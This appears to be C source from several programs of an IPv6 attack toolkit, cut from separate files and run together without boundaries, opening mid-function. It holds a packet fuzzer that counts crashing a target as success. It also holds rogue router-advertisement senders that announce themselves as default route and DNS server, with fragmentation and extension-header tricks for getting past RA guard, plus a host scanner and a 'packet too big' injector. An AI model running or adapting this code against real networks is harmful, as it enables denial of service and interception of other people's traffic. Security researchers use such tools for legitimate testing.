(i < COUNT_FLAG && do_it) { if (bytes[i] == pkt_bak[test_pos]) // yes, bytes[] is the right one even for flags do_it = 0; i++; } if (do_it) hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1]; } if (test_cnt == COUNT_FLAG + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos++; } break; case 'W': sip = (unsigned short int *) &pkt_bak[test_pos]; if (test_cnt <= COUNT_WORD) { if (*sip != words[test_cnt - 1]) memcpy((char *) &hdr->pkt[test_pos], (char *) &words[test_cnt - 1] + _TAKE2, 2); else do_it = 0; } else { i = 0; while (i < COUNT_WORD && do_it) { if (words[i] == *sip) do_it = 0; i++; } if (do_it) { i = *sip ^ xors[test_cnt - COUNT_WORD - 1]; sip = (unsigned short int *) &hdr->pkt[test_pos]; *sip = i % 65536; } } if (test_cnt == COUNT_WORD + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos += 2; } break; default: fprintf(stderr, "This character should not be in the fuzz string, shoot the programmer: %c(%d) position %d string %s\n", fuzzbuf[test_ptr], fuzzbuf[test_ptr], test_ptr, fuzzbuf); exit(-1); break; } if (do_it && do_fuzz) { if (test_current >= test_start && test_current <= test_end && do_fuzz) { // fill icmp id+seq and unique buffer with test case number if (fragment) memcpy(hdr->pkt + frag_offset + 58, (char *) &test_current + _TAKE4, 4); switch (do_type) { case DO_NONE: // empty break; case DO_PING: for (i = 0; i < 4 + 1; i++) memcpy(hdr->pkt + offset + 58 + i * 4, (char *) &test_current + _TAKE4, 4); break; case DO_TCP: memcpy(hdr->pkt + offset + 58, (char *) &test_current + _TAKE4, 4); break; case DO_NEIGHSOL: case DO_NEIGHADV: break; // do nothing for these case DO_NODEQUERY: memcpy(hdr->pkt + offset + 66, (char *) &test_current + _TAKE4, 4); break; case DO_RA: memcpy(hdr->pkt + offset + 0x62, (char *) &test_current + _TAKE4, 4); // prefix update memcpy(hdr->pkt + offset + 0x7e, hdr->pkt + offset + 0x5e, 16); // routing update memcpy(hdr->pkt + 8, (char *) &test_current + _TAKE4, 4); // srcmac update memcpy(hdr->pkt + offset + 0x72, (char *) &test_current + _TAKE4, 4); // srcmac update memcpy(hdr->pkt + 0x10 + off2, (char *) &test_current + _TAKE4, 4); // srcip update memcpy(hdr->original_src, hdr->pkt + 8 + off2, 16); // srcip update for checksum break; case DO_MLD_QUERY: case DO_MLD_DONE: case DO_MLD_REP: case DO_MLD2_QUERY: memcpy(hdr->pkt + offset + 0x4a, (char *) &test_current + _TAKE4, 4); break; case DO_MLD2_REPORT: //??? XXX TODO CHECK memcpy(hdr->pkt + offset + 0x4d, (char *) &test_current + _TAKE4, 4); memcpy(hdr->pkt + offset + 0x4d + 68, (char *) &test_current + _TAKE4, 4); memcpy(hdr->pkt + offset + 0x4d + 136, (char *) &test_current + _TAKE4, 4); break; default: fprintf(stderr, "ERROR!!!\n"); exit(-1); } // regenerate checksum if (do_type != DO_TCP && do_type != DO_NONE) { // maybe for later non-icmp stuff hdr->pkt[offset + 56] = 0; hdr->pkt[offset + 57] = 0; i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_ICMP6, &hdr->pkt[offset + 54], hdr->pkt_len - offset - 54); hdr->pkt[offset + 56] = i / 256; hdr->pkt[offset + 57] = i % 256; } else { // TCP hdr->pkt[offset + 70] = 0; hdr->pkt[offset + 71] = 0; i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_TCP, &hdr->pkt[offset + 54], hdr->pkt_len - offset - 54); hdr->pkt[offset + 70] = i / 256; hdr->pkt[offset + 71] = i % 256; } // send packet for (k = 0; k < no_send; k++) { while(thc_send_pkt(interface, pkt, &pkt_len) < 0) usleep(1); } printf("."); usleep(250); // if ping, check ping again if ((test_current - test_start) % ping == 0 && test_current != 0 && test_start != test_current) if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) { i = ((((test_current - test_start) / ping) - 1) * ping) + test_start + 1; printf("\nResult: target %s crashed during fuzzing, offending test case no. could be %d to %d\n", argv[optind + 1], i < 0 ? 0 : i, test_current); exit(1); } } //else printf("NOT SENT - NOT IN TEST LIST\n"); // reset to basic packet memcpy(hdr->pkt, pkt_bak, hdr->pkt_len); test_current++; } //else printf("NOT SENT!\n"); } printf("\n"); // ping afterwards to check if it worked if (do_alive) { if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) { printf("Result: target %s is NOT alive via direct ping6 - good work! (position: %d)\n", argv[optind + 1], test_pos); exit(1); } else printf("Result: target %s is still alive via direct ping6, better luck next time.\n", argv[optind + 1]); } thc_pcap_close(p); return 0; }
int main(int argc, char *argv[]) { char *interface, mac[16] = "", dmac[16] = ""; unsigned char *routerip6, *mac6 = NULL, *ip6 = NULL; unsigned char buf[512], *ptr, buf2[6], string[] = "ip6 and icmp6 and dst ff02::2"; unsigned char rbuf[MAX_ENTRIES + 1][17], pbuf[MAX_ENTRIES + 1][17], *dbuf[MAX_ENTRIES + 1]; unsigned char *dst = thc_resolve6("ff02::1"); unsigned char *dstmac = thc_get_multicast_mac(dst); int size, mtu = 0, i, j, k, l, m, n, rcnt = 0, pcnt = 0, dcnt = 0, sent = 0; unsigned char *pkt = NULL, *searchlist = NULL; int pkt_len = 0; pcap_t *p; if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); memset(rbuf, 0, sizeof(rbuf)); memset(mac, 0, sizeof(mac)); while ((i = getopt(argc, argv, "i:r:E:R:M:m:S:s:D:L:A:a:r:d:t:T:p:n:l:F:")) >= 0) { switch (i) { case 'i': interval = atoi(optarg); break; case 'm': sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *) &dmac[0], (unsigned int *) &dmac[1], (unsigned int *) &dmac[2], (unsigned int *) &dmac[3], (unsigned int *) &dmac[4], (unsigned int *) &dmac[5]); dstmac = dmac; break; case 'S': sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4], (unsigned int *) &mac[5]); mac6 = mac; break; case 's': if ((ip6 = thc_resolve6(optarg)) == NULL) { fprintf(stderr, "Error: can not resolve source ip address %s\n", optarg); exit(-1); } break; case 'M': mtu = atoi(optarg); if (mtu < 0 || mtu > 65535) { fprintf(stderr, "Error: mtu argument is invalid: %s\n", optarg); exit(-1); } if (mtu < 1228 || mtu > 1500) fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are doing: %d\n", mtu); break; case 'n': to_send = atoi(optarg); if (to_send < 1 || mtu > 255) { fprintf(stderr, "Error: -n argument is invalid, must be between 1 and 255: %s\n", optarg); exit(-1); } break; case 'A': if (pcnt >= MAX_ENTRIES) { fprintf(stderr, "Error: you can not define more than %d autoconfig addresses\n", MAX_ENTRIES); exit(-1); } if (optarg == NULL || (ptr = index(optarg, '/')) == NULL) { fprintf(stderr, "Error: -A option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. fd00::/64 : %s\n", optarg); exit(-1); } *ptr++ = 0; if ((size = atoi(ptr)) < 0 && size > 255) { // yes we allow bad sizes :-) fprintf(stderr, "Error: -A option prefix length must be between 0 and 128: %s\n", optarg); exit(-1); } if (size != 64) fprintf(stderr, "Warning: -A option defines an unusual prefix length: %d\n", size); if (index(optarg, ':') == NULL) strcat(optarg, "::"); if ((routerip6 = thc_resolve6(optarg)) == NULL) { fprintf(stderr, "Error: -A option network is invalid: %s\n", optarg); exit(-1); } pbuf[pcnt][0] = size % 256; memcpy((char *) &pbuf[pcnt][1], routerip6, 16); pcnt++; break; case 'a': plife = atoi(optarg); break; case 'r': rlife = atoi(optarg); break; case 'd': dlife = atoi(optarg); break; case 'l': llife = atoi(optarg); break; case 'T': reach = atoi(optarg); break; case 't': trans = atoi(optarg); break; case 'p': if (strncasecmp(optarg, "low", 3) == 0) prio = 0; else if (strncasecmp(optarg, "med", 3) == 0) prio = 1; else if (strncasecmp(optarg, "hi", 2) == 0) prio = 2; else if (strncasecmp(optarg, "res", 3) == 0) prio = 3; else { fprintf(stderr, "Error: unknown priority, known keywords are low, medium and high: %s\n", optarg); exit(-1); } break; case 'R': if (rcnt >= MAX_ENTRIES) { fprintf(stderr, "Error: you can not define more than %d routes\n", MAX_ENTRIES); exit(-1); } if (optarg == NULL || (ptr = index(optarg, '/')) == NULL) { fprintf(stderr, "Error: -R option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. fd00::/64 : %s\n", optarg); exit(-1); } *ptr++ = 0; if ((size = atoi(ptr)) < 0 && size > 255) { // yes we allow bad sizes :-) fprintf(stderr, "Error: -R option prefix length must be between 0 and 128: %s\n", optarg); exit(-1); } if (index(optarg, ':') == NULL) strcat(optarg, "::"); if ((routerip6 = thc_resolve6(optarg)) == NULL) { fprintf(stderr, "Error: -R option network is invalid: %s\n", optarg); exit(-1); } rbuf[rcnt][0] = size % 256; memcpy((char *) &rbuf[rcnt][1], routerip6, 16); rcnt++; break; case 'D': if (dcnt >= MAX_ENTRIES) { fprintf(stderr, "Error: you can not define more than %d DNS servers\n", MAX_ENTRIES); exit(-1); } if ((dbuf[dcnt++] = thc_resolve6(optarg)) == NULL) { fprintf(stderr, "Error: can not resolve DNS server %s\n", optarg); exit(-1); } break; case 'L': searchlist = optarg; break; case 'E': if (optarg == NULL) { fprintf(stderr, "Error: no option type given for -E\n"); exit(-1); } for (j = 0; j < strlen(optarg); j++) { switch (optarg[j]) { // fall through to be fail safe on accidental misuse case '0': // fall through case 'O': do_overlap = 1; break; case 'o': do_overlap = 2; break; case '1': // fall through case 'l': // fall through case 'L': do_frag++; break; case 'h': // fall through case 'H': do_hop = 1; break; case 'd': // fall through case 'D': do_dst = 1; break; default: fprintf(stderr, "Error: unknown evasion type %c!\n", optarg[j]); exit(-1); } if ((do_frag && (do_dst || do_overlap)) || (do_dst && do_overlap)) { fprintf(stderr, "Error: you can not use -E types 1, D, O and o together!\n"); exit(-1); } } break; case 'F': ptr = strtok(optarg, ","); while (ptr != NULL) { if (strncasecmp(ptr, "man", 3) == 0) flags = (flags | 128); else if (strncasecmp(ptr, "oth", 3) == 0) flags = (flags | 64); else if (strncasecmp(ptr, "hom", 3) == 0) flags = (flags | 32); else if (strncasecmp(ptr, "prox", 4) == 0) flags = (flags | 4); else if (strncasecmp(ptr, "res", 3) == 0) flags = (flags | 2); else if (strncasecmp(ptr, "unk", 3) == 0) flags = (flags | 1); else { fprintf(stderr, "Error: unknown flag: %s\n", ptr); exit(-1); } ptr = strtok(NULL, ","); } break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if ((argc - optind) < 1 || (argc - optind) > 2) help(argv[0]); if (do_hdr_size) myoff = do_hdr_size; interface = argv[optind]; if (argc - optind == 2) if ((dst = thc_resolve6(argv[optind + 1])) == NULL) { fprintf(stderr, "Error: invalid target %s\n", argv[optind + 1]); exit(-1); } if (mtu == 0) mtu = thc_get_mtu(interface); if (mac6 == NULL) if ((mac6 = thc_get_own_mac(interface)) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } if (ip6 == NULL) if ((ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK)) == NULL) { fprintf(stderr, "Error: IPv6 is not enabled on interface %s\n", interface); exit(-1); } // if (dns == NULL) // dns = thc_resolve6("ff02::fb"); frint = interface; frip6 = ip6; frmac = mac6; frbuf = buf; frbuf2 = buf2; frbuf2len = sizeof(buf2); memset(buf, 0, sizeof(buf)); memset(buf2, 0, sizeof(buf2)); memset(buf3, 0, sizeof(buf3)); if (llife > 0xffff) llife = 0xffff; llife = (llife | 0xff000000); if (prio == 2) llife = (llife | 0x00080000); else if (prio == 0) llife = (llife | 0x00180000); else if (prio != 1) llife = (llife | 0x00100000); llife = (llife | (flags << 16)); buf[0] = reach / 16777216; buf[1] = (reach % 16777216) / 65536; buf[2] = (reach % 65536) / 256; buf[3] = reach % 256; buf[4] = trans / 16777216; buf[5] = (trans % 16777216) / 65536; buf[6] = (trans % 65536) / 256; buf[7] = trans % 256; // option mtu buf[8] = 5; buf[9] = 1; buf[12] = mtu / 16777216; buf[13] = (mtu % 16777216) / 65536; buf[14] = (mtu % 65536) / 256; buf[15] = mtu % 256; i = 16; // mac address option buf[i++] = 1; buf[i++] = 1; memcpy(buf + i, mac6, 6); i += 6; // option prefix, put all in if (pcnt > 0) for (j = 0; j < pcnt; j++) { buf[i++] = 3; buf[i++] = 4; buf[i++] = pbuf[j][0]; // prefix length buf[i++] = 128 + 64; buf[i++] = plife / 16777216; buf[i++] = (plife % 16777216) / 65536; buf[i++] = (plife % 65536) / 256; buf[i++] = plife % 256; buf[i++] = (plife / 2) / 16777216; buf[i++] = ((plife / 2) % 16777216) / 65536; buf[i++] = ((plife / 2) % 65536) / 256; buf[i++] = (plife / 2) % 256; i += 4; // + 4 bytes reserved memcpy(&buf[i], (char *) &pbuf[j][1], 16); i += 16; } // route option, put all in if (rcnt > 0) for (j = 0; j < rcnt; j++) { buf[i++] = 0x18; // routing entry option type buf[i++] = 0x03; // length 3 == 24 bytes buf[i++] = rbuf[j][0]; // prefix length if (prio == 2) buf[i++] = 0x08; // priority, highest of course else if (prio == 1) buf[i++] = 0x00; else if (prio == 0) buf[i++] = 0x18; else buf[i++] == 0x10; buf[i++] = rlife / 16777216; buf[i++] = (rlife % 16777216) / 65536; buf[i++] = (rlife % 65536) / 256; buf[i++] = rlife % 256; memcpy((char *) &buf[i], (char *) &rbuf[j][1], 16); // network i += 16; } // dns option if (dcnt > 0) for (j = 0; j < dcnt; j++) { buf[i++] = 0x19; // dns option type buf[i++] = 0x03; // length i += 2; // reserved buf[i++] = dlife / 16777216; buf[i++] = (dlife % 16777216) / 65536; buf[i++] = (dlife % 65536) / 256; buf[i++] = dlife % 256; memcpy(buf + i, dbuf[j], 16); // dns server i += 16; } // dns searchlist option if (searchlist != NULL) { buf[i] = 31; buf[i + 4] = dlife / 16777216; buf[i + 5] = (dlife % 16777216) / 65536; buf[i + 6] = (dlife % 65536) / 256; buf[i + 7] = dlife % 256; if (searchlist[strlen(searchlist) - 1] == '.') searchlist[strlen(searchlist) - 1] = 0; m = 0; while ((ptr = strstr(searchlist, ".,")) != NULL) { m = strlen(ptr); for (l = 1; l < m; l++) ptr[l - 1] = ptr[l]; ptr[m - 1] = 0; } l = 0; m = 0; j = strlen(searchlist); do { k = 0; ptr = index(&searchlist[l], '.'); if (ptr == NULL || (index(&searchlist[l], ',') != NULL && (char*)ptr > (char*)index(&searchlist[l], ','))) { k = 1; ptr = index(&searchlist[l], ','); } if (ptr != NULL) *ptr = 0; n = strlen(&searchlist[l]); buf[i + 8 + m] = n; memcpy(&buf[i + 8 + m + 1], &searchlist[l], n); if (ptr == NULL) l = j; else l += 1 + n; m += 1 + n; if (k || ptr == NULL) m++; // end of domain entry } while (l < j && ptr != NULL); if (m % 8 > 0) m = ( (m / 8) + 1 ) * 8; buf[i + 1] = m/8 + 1; i += m + 8; } frbuflen = i; if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0xe0, 0)) == NULL) return -1; if (do_hop) { type = NXT_HBH; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, 6) < 0) return -1; } if (do_frag) { type = NXT_FRAG; for (j = 0; i < do_frag; j++) if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, getpid() + (cnt++ << 16)) < 0) return -1; } if (do_dst) { if (type == NXT_ICMP6) type = NXT_DST; if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return -1; } if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, llife, buf, i, 0) < 0) return -1; if (thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) return -1; frhdr = (thc_ipv6_hdr *) pkt; //printf("DEBUG: RA size is %d bytes, do_dst %d, do_overlap %d\n", i + 8, do_dst, do_overlap); // init pcap if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } printf("Starting to advertise router (Press Control-C to end) ...\n"); while (sent < to_send || to_send > 255) { if (do_dst) { thc_send_as_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232); } else if (do_overlap) { if (do_overlap == 1) thc_send_as_overlapping_first_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232, 0); else thc_send_as_overlapping_last_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1232, 0); } else { thc_send_pkt(interface, pkt, &pkt_len); } while (thc_pcap_check(p, (char *) send_rs_reply, NULL) > 0); sent++; if (sent != to_send || to_send > 255) sleep(interval); } return 0; // never reached }
/** Função principal que realiza o host scan IPv6 na rede */ int hostScan(int rawmode, // informa se o "raw mode" foi ativado ou nao char *interface, // nome da interface de analise unsigned char *multicast6, // endereco do grupo multicast de destino unsigned char *router6, // roteador da rota parametrizada unsigned char **routers) { unsigned char *src6 = NULL, // endereco ip6 do host [que realiza o scan] *mac = NULL, // endereco MAC do host [que realiza o scan] string[64] = "ip6 and dst "; // Mascara de captura de pacotes [apenas 1pv6 e destino a ser marcado] time_t passed; // timestamp do inicio do scan pcap_t *p; // contexto pcap de captura // obtendo seu proprio endereco ip6 src6 = thc_get_own_ipv6(interface, multicast6, PREFER_GLOBAL); // se estiver operando em "raw mode" deve-se resolver seu proprio endereco MAC if (rawmode == 0 && (mac = thc_get_mac(interface, src6, multicast6)) == NULL) { fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", thc_ipv62string(src6)); exit(-1); } // setar o endereco do host para a filtragem de pacotes recebidos strcat(string, thc_string2notation(thc_ipv62string(src6))); // make the sending buffer unique memset(buf, 'A', sizeof(buf)); // Preenche o buffer com o caractere 'A' time((time_t *) & buf[2]); // coloca da 3a posicao do buffer o tempo em segundos [padrao] buf[10] = getpid() % 256; // coloca o valor do process id .. buf[11] = getpid() / 256; // .. nas posicoes 11 e 12 do buffer memcpy(&buf[12], multicast6, 4); // coloca o endereco de multicast na 13a posicao do buffer // inicializa a interface de captura de pacotes com o filtro criado if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } // Envio do 1o pacote : Echo Request Comum sendEchoRequest(interface, multicast6, src6, router6, routers, buf, mac, NULL); // Envio do 2o pacote : Echo Request Com falha de Opções sendEchoRequestOptions(interface, multicast6, src6, router6, routers, buf, mac); // altera os dados do buffer ??? buf[0] = NXT_INVALID; buf[1] = 1; // Envio do 3o pacote : Echo Request Com dados Hop by Hop sendEchoRequestHopByHop(interface, multicast6, src6, router6, routers, buf, mac); // ??? while (thc_pcap_check(p, (char *) check_packets, NULL) > 0 && (alive_no == 0 || *multicast6 == 0xff)); // Anota o tempo de inicio passed = time(NULL); // enquanto nao se passam 5 segundos while (passed + 5 >= time(NULL) && (alive_no == 0 || *multicast6 == 0xff)) thc_pcap_check(p, (char *) check_packets, NULL); // verifica os pacotes capturados // fecha a interface de captura thc_pcap_close(p); // informa o numero de hosts ativos encontrados //printf("Found %d systems alive\n", alive_no); printf("\n"); printAliveSystems(); }
int main(int argc, char *argv[]) { char string[] = "ip6 and ! src net f000::/4 and ! dst net f000::/4"; int rawmode = 0, i; pcap_t *p; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "cr")) >= 0) { switch (i) { case 'r': thc_ipv6_rawmode(1); rawmode = 1; offset = 0; break; case 'c': loop = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (argc - optind < 3) help(argv[0]); if (do_hdr_size) offset = do_hdr_size; interface = argv[optind]; mac6 = thc_get_own_mac(interface); src6 = thc_get_own_ipv6(interface, NULL, PREFER_GLOBAL); mtu = atoi(argv[optind + 2]); if (src6 == NULL || mac6 == NULL) { fprintf(stderr, "Error: invalid interface or IPv6 not available: %s\n", interface); exit(-1); } if (argv[optind + 1][0] == '*' || argv[optind + 1][1] == '*') { ip6 = NULL; } else { ip6 = thc_resolve6(argv[optind + 1]); if (ip6 == NULL) { fprintf(stderr, "Error: target address is invalid: %s\n", argv[optind + 1]); exit(-1); } } if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } printf("Watching for %s from %s (Press Control-C to end) ...\n", loop == 0 ? "a packet" : "packets", argv[optind + 1]); do { thc_pcap_check(p, (char *) send_toobig, NULL); usleep(25); } while (go); thc_pcap_close(p); return 0; }
int main(int argc, char *argv[]) { char *routerip, *interface, mac[16] = ""; unsigned char *routerip6, *route6, *mac6 = mac, *ip6; unsigned char buf[512], *ptr, buf2[6], string[] = "ip6 and icmp6 and dst ff02::2"; unsigned char *dst = thc_resolve6("ff02::1"); unsigned char *dstmac = thc_get_multicast_mac(dst); unsigned char *dns; int size, mtu = 1500, i, j, k, cnt; unsigned char *pkt = NULL; int pkt_len = 0; int rawmode = 0; pcap_t *p; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "FHDr")) >= 0) { switch (i) { case 'r': thc_ipv6_rawmode(1); rawmode = 1; break; case 'F': do_frag++; break; case 'H': do_hop = 1; break; case 'D': do_dst = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (argc - optind < 2) help(argv[0]); if (do_hdr_size) myoff = do_hdr_size; frbuf = buf; frbuf2 = buf2; frbuf2len = sizeof(buf2); memset(mac, 0, sizeof(mac)); interface = argv[optind]; mtu = thc_get_mtu(interface); if (argc - optind >= 5) mtu = atoi(argv[optind + 4]); if (argc - optind >= 7 && (ptr = argv[optind + 5]) != NULL) sscanf(ptr, "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4], (unsigned int *) &mac[5]); else mac6 = thc_get_own_mac(interface); if (argc - optind >= 4 && argv[optind + 3] != NULL) ip6 = thc_resolve6(argv[optind + 3]); else ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK); frip6 = ip6; frint = interface; frmac = mac6; if (argc - optind >= 4 && argv[optind + 2] != NULL) dns = thc_resolve6(argv[optind + 2]); else dns = thc_resolve6("ff02::fb"); routerip = argv[optind + 1]; if (routerip == NULL || (ptr = index(routerip, '/')) == NULL) { printf("Error: Option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. ff80::01/16\n"); exit(-1); } *ptr++ = 0; size = atoi(ptr); routerip6 = thc_resolve6(routerip); route6 = thc_resolve6(routerip); if (routerip6 == NULL || size < 1 || size > 128) { fprintf(stderr, "Error: IP-ADDRESS/PREFIXLENGTH argument is invalid: %s\n", argv[optind + 1]); exit(-1); } if (size < 48 || size > 64) fprintf(stderr, "Warning: unusual network prefix size defined, be sure what your are doing: %d\n", size); if (dns == NULL) { fprintf(stderr, "Error: dns argument is invalid: %s\n", argv[optind + 2]); exit(-1); } if (ip6 == NULL) { fprintf(stderr, "Error: link-local-ip6 argument is invalid: %s\n", argv[optind + 3]); exit(-1); } if (mtu < 1 || mtu > 65536) { fprintf(stderr, "Error: mtu argument is invalid: %s\n", argv[optind + 4]); exit(-1); } if (mtu < 1228 || mtu > 1500) fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are doing :%d\n", mtu); if (mac6 == NULL) { fprintf(stderr, "Error: mac address in invalid\n"); exit(-1); } memset(buf, 0, sizeof(buf)); memset(buf2, 0, sizeof(buf2)); memset(buf3, 0, sizeof(buf3)); if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } i = 128 - size; j = i / 8; k = i % 8; if (k > 0) j++; memset(route6 + 16 - j, 0, j); if (k > 0) route6[17 - j] = (route6[17 - j] >> (8 - k)) << (8 - k); // buf[3] = 250; // 0-3: reachable timer buf[6] = 4; // 4-7: retrans timer // option mtu buf[8] = 5; buf[9] = 1; buf[12] = mtu / 16777216; buf[13] = (mtu % 16777216) / 65536; buf[14] = (mtu % 65536) / 256; buf[15] = mtu % 256; // option prefix buf[16] = 3; buf[17] = 4; buf[18] = size; // prefix length buf[19] = 128 + 64; memset(&buf[20], 17, 4); memset(&buf[24], 4, 4); memcpy(&buf[32], route6, 16); i = 48; // mac address option buf[i++] = 1; buf[i++] = 1; memcpy(buf + i, mac6, 6); i += 6; // default route routing option buf[i++] = 0x18; // routing entry option type buf[i++] = 0x03; // length 3 == 24 bytes buf[i++] = 0x00; // prefix length buf[i++] = 0x08; // priority, highest of course i += 2; // 52-53 unknown buf[i++] = 0x11; // lifetime, word buf[i++] = 0x11; // lifetime, word i += 16; // 56-71 address, all zeros for default // specific route routing option 2000::/3 buf[i++] = 0x18; // routing entry option type buf[i++] = 0x03; // length 3 == 24 bytes buf[i++] = 0x03; // prefix length buf[i++] = 0x08; // priority, highest of course i += 2; // 52-53 unknown buf[i++] = 0x11; // lifetime, word buf[i++] = 0x11; // lifetime, word buf[i++] = 0x20; // 56-71 address: 2000:: i += 15; // specific route routing option 2000::/3 buf[i++] = 0x18; // routing entry option type buf[i++] = 0x03; // length 3 == 24 bytes buf[i++] = 0x07; // prefix length buf[i++] = 0x08; // priority, highest of course i += 2; // 52-53 unknown buf[i++] = 0x11; // lifetime, word buf[i++] = 0x11; // lifetime, word buf[i++] = 0xfc; // 56-71 address: fc:: i += 15; // dns option buf[i++] = 0x19; // dns option type buf[i++] = 0x03; // length i += 2; // 74-75 reserved memset(buf + i, 1, 4); // validity time i += 4; memcpy(buf + i, dns, 16); // dns server i += 16; frbuflen = i; if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0xe0, 0)) == NULL) return -1; if (do_hop) { type = NXT_HBH; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, 6) < 0) return -1; } if (do_frag) { type = NXT_FRAG; for (i = 0; i <= do_frag; i++) if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0) return -1; } if (do_dst) { if (type == NXT_ICMP6) type = NXT_DST; if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return -1; } if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, buf, i, 0) < 0) return -1; if (thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) return -1; frhdr = (thc_ipv6_hdr *) pkt; // init pcap printf("Starting to advertise router %s (Press Control-C to end) ...\n", argv[optind + 1]); while (1) { if (do_dst) { thc_send_as_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1240); } else { thc_send_pkt(interface, pkt, &pkt_len); } while (thc_pcap_check(p, (char *) send_rs_reply, NULL) > 0); sleep(5); } return 0; }